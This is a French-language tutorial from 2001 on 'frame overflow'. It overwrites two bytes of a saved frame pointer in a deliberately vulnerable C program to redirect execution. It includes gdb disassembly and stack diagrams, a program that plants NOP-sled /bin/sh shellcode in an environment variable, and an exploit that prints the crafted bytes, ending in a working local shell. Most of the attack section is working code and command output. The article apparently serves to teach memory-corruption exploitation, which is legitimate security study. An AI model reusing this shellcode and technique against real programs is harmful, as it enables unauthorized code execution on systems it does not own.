Frame Overflow ----[ 1 - Introduction Cet article a pour but de reprendre celui de klog [1] afin d'ajouter quelques précisions sur comment, avec un overflow de 1 octet, il est possible de modifier le déroulement d'un programme vulnérable afin de de lui faire exécuter ce que l'on veut. Dans l'exemple suivant, l'overflow sera fait sur 2 octets afin de bien expliquer le principe de l'opération. ----[ 2 - Explications, Démonstration Voici le "pseudo" programme vulnérable: ----- vul.c ----- #include #include int getstring(char *string) { char buff[4]; char buf[10]; memset(buff, 0, 4); printf("%s", string); fflush(stdout); fgets(buf, 10, stdin); memcpy(buff, buf, 6); printf("addr_buff[%p]\n", &buff); } int main() { getstring("Entrez la chaine de caracteres: "); return 0; } ----- vul.c ----- Dans le programme ci-dessus, la fonction getstring() lit 10 octets de l'entrée standard vers le tableau buf et en recopie 6 ensuite de buf vers buff. Comme buff est un tableau de 4 octets, nous avons bien un overflow de 2 octets. Regardons maintenant comment se comporte notre programme lorsque nous faisons l'overflow des deux octets. Pour cela nous devons le compiler et utiliser gdb afin de le debugger. bash$ gcc -o vul vul.c Pour commencer nous allons désassembler la fonction getstring() puis la fonction main() afin d'expliquer ce qui se passe exactement et pourquoi ce type de programme est vulnérable. bash$ gdb ./vul .... (gdb) disas getstring Dump of assembler code for function getstring: 0x80484d0 : push %ebp 0x80484d1 : mov %esp,%ebp 0x80484d3 : sub $0x10,%esp 0x80484d6 : push $0x4 0x80484d8 : push $0x0 0x80484da : lea 0xfffffffc(%ebp),%eax 0x80484dd : push %eax 0x80484de : call 0x8048424 0x80484e3 : add $0xc,%esp 0x80484e6 : mov 0x8(%ebp),%eax 0x80484e9 : push %eax 0x80484ea : push $0x80485c0 0x80484ef : call 0x8048404 0x80484f4 : add $0x8,%esp 0x80484f7 : mov 0x80496f4,%eax 0x80484fc : push %eax 0x80484fd : call 0x80483c4 0x8048502 : add $0x4,%esp 0x8048505 : mov 0x80496f8,%eax 0x804850a : push %eax 0x804850b : push $0xa 0x804850d : lea 0xfffffff0(%ebp),%eax 0x8048510 : push %eax 0x8048511 : call 0x80483e4 0x8048516 : add $0xc,%esp 0x8048519 : push $0x6 0x804851b : lea 0xfffffff0(%ebp),%eax 0x804851e : push %eax 0x804851f : lea 0xfffffffc(%ebp),%eax 0x8048522 : push %eax 0x8048523 : call 0x8048414 0x8048528 : add $0xc,%esp 0x804852b : leave 0x804852c : ret 0x804852d : lea 0x0(%esi),%esi End of assembler dump. Une frame est la partie de la pile contenant les variables locales automatiques de la fonction courante. Voici plus schématiquement comment elle est constituée : +--------------- | param | ... +--------------- | saved_eip +--------------- | saved_ebp +--------------- <-- ebp pointe ici | local_var | ... +--------------- ... ce qui correspsond a ceci : &saved_eip (&saved_ebp + 4) &saved_ebp char buff[3] char buff[2] ... char buff[0] char buf[10] ... char buf[0] Avant le call, main() empile les paramètres, l'instruction call empile eip (l'adresse de retour) et saute à l'adresse de getstring(). C'est ensuite getstring() qui empile ebp et affecte esp à ebp. L'adresse de début de frame contenue dans le registre ebp reste inchangée pendant l'execution du corps de la fonction getstring(). Les appels aux variables locales se font relativement à l'adresse contenue dans ebp. Avant de rendre la main, la fonction getstring() affecte ebp à esp et dépile dans ebp l'adresse de début de frame de la fonction appelant getstring() (ici, c'est la fonction main()). Dans notre programme vulnérable, la fonction suivante : memcpy(buff, buf, 6); copie les 6 premiers éléments de buf[10] dans buff[4]. Les 4 premiers éléments sont bien copiés dans buff[4] et les deux derniers viennent donc bien modifier saved_ebp de deux octets. Regardons maintenant ce qu'il se passe au niveau de la fonction main(). (gdb) disas main Dump of assembler code for function main: 0x8048530
: push %ebp 0x8048531 : mov %esp,%ebp 0x8048533 : push $0x80485e0 0x8048538 : call 0x80484d0 0x804853d : add $0x4,%esp 0x8048540 : leave 0x8048541 : ret 0x8048542 : nop 0x8048543 : nop End of assembler dump. Après le retour de la fonction getstring(), on se trouve en fin de fonction. Faisons maintenant un peu de travaux pratiques :) Regardons ce qui se produit lors de l'overflow des deux octets : bash$ gdb vul ..... (gdb) run Starting program: /home/cb/sec/frame_overflow/vul warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Entrez la chaine de caracteres: AAAAAA addr_buff[0xbffff8b8] Program received signal SIGSEGV, Segmentation fault. 0x8048540 in main () Comme expliqué plus haut, nous avons besoin de faire un overflow sur 2 octets, c'est pour cela que j'utilise 6 "A" (0x41) afin de faire un overflow de deux octets sur buff[4]. Regardons maintenant les valeurs de la frame en utilisant sous gdb la commande "info frame": (gdb) info frame Stack level 0, frame at 0xbfff4141: eip = 0x8048540 in main; saved eip 0x0 Arglist at 0xbfff4141, args: Locals at 0xbfff4141, Previous frame's sp is 0x0 Saved registers: ebp at 0xbfff4141, eip at 0xbfff4145 Que constatons nous ? Nous avons bien écrit deux octets sur saved_ebp, c'est pour ça que gdb nous indique que saved_eip est à l'adresse &saved_ebp + 4 qui donne effectivement 0xbffff4145 : (gdb) printf "%p\n", 0xbfff4141 + 4 0xbfff4145 On peut donc modifier saved_ebp de façon à ce que la frame du parent (l'adresse contenue dans le registre ebp) débute à un autre endroit en mémoire. ----[ 2 - Exploitation de la vulnérabilité L'exemple qui suit est simple. Le but est de modifier saved_ebp afin de faire en sorte qu'à la fin de la fonction main(), l'adresse de retour dépilée soit différente et pointe vers un SHELLCODE. Pour plus de souplesse, nous mettons le shellcode dans une variable d'environnement. Tout d'abord, voilà le source du programme permettant de définir la variable d'environnement qui contient la suite de NOP et le shellcode. ----- env.c ------ #include #include int main() { char buf[100]; char *code = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; memset(buf, 0x90, 100); memcpy(buf + 100 - strlen(code), code, strlen(code)); setenv("SHELLCODE", buf, 1); system("/bin/bash"); return 0; } ----- env.c ------ bash$ gcc -o env env.c bash$ ./env bash-2.04$ export ....... declare -x SHELLCODE=F‰F V ° NÍ€1Û‰Ø@Í€èÜÿÿÿ/bin/shXùÿ¿ç2b@`" Nous avons bien nos NOP+SHELLCODE dans l'environnement. Il ne reste plus qu'à modifier saved_ebp pour que l'adresse de retour dépilée par main() au moment du RET soit celle contenue dans buff. Vérifions maintenant avec gdb à quelle adresse se trouve buff et notre variable d'environnement SHELLCODE. bash-2.04$ gdb vul .... (gdb) run .... Entrez la chaine de caracteres: AAAAAA addr_buff[0xbffff8b8] Program received signal SIGSEGV, Segmentation fault. 0x8048550 in main () (gdb) x 0xbffff8b8 0xbffff8b8: 0x41414141 En fait buff[4] contiendra la fausse adresse de retour. Maintenant il nous faut chercher la variable d'environnement SHELLCODE. (gdb) x/20x 0xbffffe50 0xbffffe50: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe70: 0x90909090 0x90909090 0x90909090 0xeb909090 0xbffffe80: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c 0xbffffe90: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8 0xbffffea0: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff958 Nous savons maintenant que notre buffer est à l'adresse 0xbffff8b8 et que la variable d'environnement est à 0xbffffe50. Avant de lancer un nouveau processus, le noyau place l'environnement courant au début de la pile (c'est à dire sur la limite haute de la pile pour un processeur Intel), ce qui nous évite d'avoir à mettre le shellcode dans le buffer que l'on dépasse. Le but est maintenant de faire en sorte que le programme saute vers le début de la pile pour tomber sur la suite de NOP qui précède le shellcode. Il faut par conséquent faire pointer le ebp du parent (ici main()) vers buff. En utilisant gdb, nous avons remarqué que saved_eip est situé à &saved_ebp + 4, c'est à dire que saved_eip et saved_ebp se suivent en mémoire. Ceci dit, lorsque la fonction est sur le point de retourner, elle affecte ebp à esp pour remettre la pile dans l'état dans lequel elle se trouvait au début de la fonction et dépile dans ebp puis dépile l'adresse de retour. Ainsi, quand on se trouve dans le corps de la fonction, on sait que saved_ebp se trouve à l'adresse contenue dans ebp et que saved_eip (l'adresse de retour) se trouve 4 octets plus loin. On veut donc s'arranger pour que le ebp de main() soit tel que l'adresse de retour de main() se trouve a ebp + 4. |<--4 octets->| : : : +-------------+ | | saved_eip | | +-------------+ | | saved_ebp |---+ +-------------+ <-+ | locals | | | ... | | +-------------+ | | params | | | ... | | +-------------+ | | saved_eip | | +-------------+ | | saved_ebp |---+ +-------------+ <--- ebp courant pointe ici | locals | | ... | +-------------+ : : On doit donc se débrouiller pour que le ebp de main() contienne &buff - 4 et que buff contienne l'adresse de retour dans la variable d'environnement SHELLCODE. Démonstration : bash-2.04$ printf "\x50\xfe\xff\xbf\xb4\xf8" > file "\x50\xfe\xff\xbf" : Adresse de retour (0xbffffe50) "\xb4\xf8" : saved_ebp = 0xbffff8b4 (on écrase &saved_ebp sur 2 octets) &saved_eip de main() prendra donc comme valeur saved_ebp + 4 c'est a dire 0xbffff8b4 + 4 = 0xbffff8b8 (adresse de buff[4]). Regardons le résultat : bash-2.04$ gdb vul .... (gdb) set args < file (gdb) run .... Entrez la chaine de caracteres: addr_buff[0xbffff8b8] Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001780 in object.8 () from /lib/ld-linux.so.2 (gdb) c Continuing. Program exited normally. Bingo! Le programme sort sans erreur en exécutant /bin/sh (ce qui provoque la réception du signal SIGTRAP, qui est dû à une mesure de sécurité mise en place par gdb). Essayons maintenant d'exploiter réellement le programme. En mode de débuggage, les adresses de l'environement et de buff[4] peuvent légèrement changer. Démonstration: bash-2.04$ ./vul Entrez la chaine de caracteres: AAAAAA addr_buff[0xbffff8f8] Segmentation fault (core dumped) bash-2.04$ gdb --core core .... Program terminated with signal 11, Segmentation fault. #0 0x8048550 in ?? () (gdb) x/20x 0xbffffe50 0xbffffe50: 0x762f3d4c 0x732f7261 0x6c6f6f70 0x69616d2f 0xbffffe60: 0x62632f6c 0x45485300 0x4f434c4c 0x903d4544 0xbffffe70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe80: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe90: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffffea0: 0x90909090 0x1feb9090 0x0876895e 0x4688c031 0xbffffeb0: 0x0c468907 0xf3890bb0 0x8d084e8d 0x80cd0c56 0xbffffec0: 0xd889db31 0xe880cd40 0xffffffdc 0x6e69622f 0xbffffed0: 0x5868732f 0xe7bffff9 0x01400332 0x53494400 En effet, notre shellcode à été légèrement décalé... Nous allons donc maintenant utiliser 0xbffffe70 comme adresse de retour. (gdb) x 0xbffff8f8 0xbffff8f8: 0x41414141 L'adresse de notre buffer elle aussi a changé. Nous utiliserons donc maintenant 0xbffff8f8 - 4 = 0xbffff8f4. Notons que notre shellcode se trouve toujours dans l'environnement. ----- expl.c ----- #include int main() { printf("\x70\xfe\xff\xbf\xf4\xf8"); } ---- expl.c ----- bash-2.04$ gcc -o expl expl.c bash-2.04$ (./expl ; cat) | ./vul Entrez la chaine de caracteres: addr_buff[0xbffff8f8] id uid=1000(cb) gid=100(users) groups=100(users),3(sys),11(floppy) uname -a Linux tshaw 2.2.16 #2 SMP Mon Jul 3 12:51:28 CEST 2000 i686 unknown Bingo nous avons un joli shell :) Le principe est exactement le même lorsque l'overflow ne se fait que sur 1 seul octet. Je pense que cet article est déjà assez long comme ça donc je vous invite à lire l'article de klog [1]. ----[ 3 - Conclusion Il est vrai que ce genre de vulnérabilité est très rare. Mais cela nous montre encore une fois qu'il est possible avec un simple overflow de seulement un ou deux octets de modifier l'exécution d'un programme. Ce type d'overflow est intéressant uniquement dans les cas ou la fonction parente retourne rapidement après le retour de la fonction fille. Si la parente rappelle d'autres fonctions, il est très probable que la pile sera réutilisée et que le buffer contenant la fausse adresse de retour sera écrasé. Références: [1] Phrack 55: Frame Pointer Overwriting, klog http://phrack.infonexus.com/search.phtml?view&article=p55-8 Christophe Bailleux - cb@t-online.fr Last modified: Thu Dec 13 12:03:39 CET 2001